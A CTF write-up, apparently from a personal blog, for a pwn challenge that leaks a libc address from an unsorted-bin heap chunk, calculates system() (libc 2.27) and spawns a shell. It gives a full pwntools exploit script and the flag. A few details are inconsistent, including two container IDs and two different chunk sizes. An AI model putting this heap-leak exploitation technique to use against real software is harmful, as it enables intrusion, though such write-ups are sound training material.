VERE - Pwn-4 - Heap-To-Libc

Published at Apr 12, 2025

#ctf#pwn
Challenge Description

Get a chunk in the unsorted bin, and read out the libc pointer there to retrieve the address for system().


The challenge requires us to leak a libc address from the unsorted bin and use it to calculate the address of system() to spawn a shell.

The Binary

The program offers three options:

  1. Allocate and Free
  2. Read
  3. Get flag

Looking at the decompiled code, we discover that the program allocates a user-defined sized chunk, then immediately frees it. It also allocates a small 0x10 chunk to keep track of the allocations, but this does not get freed. We can read from an arbitrary address once, and to get a shell, we need to provide the correct address of system().

The vulnerability here is straightforward - we can manipulate the heap to place chunks in the unsorted bin, which will contain pointers to libc’s main_arena (which is used to store some important pointers for searching heap memory). By leaking these pointers and finding the correct offsets, we can calculate the address of system().

Finding the Address of system()

Pulling up a docker container running the same version of Ubuntu (ubuntu 18.04, as denoted in the Dockerfile. For local testing, I ran all my commands/debug scripts within this container to ensure that the values and offsets would stay true for the final exploit against the remote), we can extract the version of libc being used. Within the docker shell, we run

ldd $(which grep)

to find the path for libc:

ldd $(which grep)
  linux-vdso.so.1(0x00007fffd3fd8000)                                            libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3(0x00007f2698fe7000)
  libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2(0x00007f2698de3000)
  libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f26989f2000)
  libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0(0x00007f26987d3000)
  /lib64/ld-linux-x86-64.so.2 (0x00007f269948f000)

The relavant line is is this one here: libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f26989f2000). We can pull that file off the docker shell and analyze it by leaving the shell running and going into another terminal to find the Container ID of that shell:

docker ps
CONTAINER ID   IMAGE                         COMMAND       CREATED      STATUS      PORTS     NAMES
11371b252d1a   legoclones/pwn:ubuntu-18.04   "/bin/bash"   2 days ago   Up 2 days             sad_shamir

Then using that Container ID, we copy the libc file off the container and onto our host machine with the following command: docker cp <container_ID>:<path_for_libc> .. We’ll make it executable just to be safe.

docker cp 11371b252d1a:/lib/x86_64-linux-gnu/libc.so.6 .
chmod +x ./libc.so.6

Now, if we ls -lah our current directory, we find that the libc.so.6 file is actually pointing to libc-2.27.so, which we didn’t copy over. So let’s copy the actual file being used to our local system:

docker cp 2fba0aa9e4a0:/lib/x86_64-linux-gnu/libc-2.27.so .

NOW we can finally use readelf to find the offset of system() in our libc file with

readelf -s libc-2.27.so | grep system

Which yields:

readelf -s libc-2.27.so | grep system
   233: 0000000000159c50    99 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.2.5
   609: 000000000004f420    45 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1406: 000000000004f420    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5

This shows that system() is at offset 0x4f420. Now we’re in business!

Offset Calculation

When we run the binary, we get a menu of options to choose from. But before that, a heap address is leaked and printed to the terminal:

./heap-to-libc
Heap: 0x565574f76260
1. Allocate and Free
2. Read
3. Get flag
>

We can use that leaked pointer to finish the exploit by capturing the address from the program output:

p.recvuntil(b"Heap: ")
heap_leak = int(p.recvline().strip(), 16)

We use it to calculate the address where the unsorted bin chunk will be:

unsorted_bin_addr = heap_leak + 0x50

Then we read from this calculated address to get the libc pointer:

libc_leak = read_address(unsorted_bin_addr)

Without the heap leak, we would have no way to know where in memory to look for the unsorted bin chunk that contains our libc pointer. The heap base address is randomized by ASLR, so this leak is essential for making the exploit possible.

Execution

When run against the target, my exploit script allocates a 4000-byte chunk, which is excessively large to make sure that it goes to the unsorted bin. It then leaks a libc address from the freed chunk, calculates the correct system() address, and provides this address to get a shell to execute commands on the system and retrieve the flag. I have provided the full script with detailed comments on what it is doing below:

Script

# Boilerplate pwn script
from pwn import *

# initialize the binary and set the context (architecture, etc.)
binary = "./heap-to-libc" # ensure it is executable (chmod +x)
elf = context.binary = ELF(binary, checksec=False)
# libc = ELF("./libc.so.6", checksec=False)

gs = """
break main
continue
"""

# run with python3 exploit.py REMOTE
if args.REMOTE:
    p = remote('172.16.16.7', 17558)

# run with python3 exploit.py GDB
elif args.GDB:
    context.terminal = ["tmux", "splitw", "-h"]

    p = gdb.debug(binary, gdbscript=gs)
    
# run with python3 exploit.py VERT
elif args.VERT:
    context.terminal = ["tmux", "splitw", "-v"]

    p = gdb.debug(binary, gdbscript=gs)

# run with python3 exploit.py
else:
    p = elf.process()


# EXPLOIT LOGIC

# Setting up menu functions
def menu():
    p.recvuntil(b">")
    
def allocate(size):
    menu()
    p.sendline(b"1")
    p.recvuntil(b"Size: ")
    p.sendline(str(size).encode())
    
def read_address(addr):
    menu()
    p.sendline(b"2")
    p.recvuntil(b"Address to read: ")
    p.sendline(hex(addr).encode())
    p.recvuntil(b"Data: ")
    response = p.recvline().strip()
    if response == b"(nil)":
        log.warning(f"Read from {hex(addr)} returned NULL")
        return None
    return int(response, 16)

def win(system_addr):
    menu()
    p.sendline(b"3")
    p.recvuntil(b"system()?")
    p.sendline(hex(system_addr).encode())

# Get the leaked heap address
p.recvuntil(b"Heap: ")
heap_leak = int(p.recvline().strip(), 16)
log.success(f"Heap address: {hex(heap_leak)}")

# EXPLOIT LOGIC:
# 1. Allocate a chunk large enough to go to unsorted bin
# The program immediately frees it, so it will contain libc pointers
allocate(4000)  # Size 4000 ensures it goes to the unsorted bin

# 2. Calculate the address to read
# In the program, it first allocates a 0x40 chunk
# When allocating our 4000-byte chunk, there's metadata + an offset
# The correct address to read from is heap_base + 0x50 (to reach freed chunk fd pointer)
unsorted_bin_addr = heap_leak + 0x50

# 3. Read the libc pointer from the unsorted bin
libc_leak = read_address(unsorted_bin_addr)
if libc_leak is None:
    log.failure("Failed to leak libc pointer")
    p.close()
    exit(1)

log.success(f"Leaked libc address: {hex(libc_leak)}")

# 4. Calculate system address
# For libc-2.27.so, the offset between leaked pointer and system() is 0x39c880
system_addr = libc_leak - 0x39c880
log.success(f"Calculated system() address: {hex(system_addr)}")

# 5. Submit the system() address to get a shell
win(system_addr)

# Now we should have a shell
p.interactive()

When run against the REMOTE target, it gives the following output

flaG

Flag

vere{uns0rted_b1n_g1ves_l33ks_9e1545fdd601}

Zac Conlin © 2025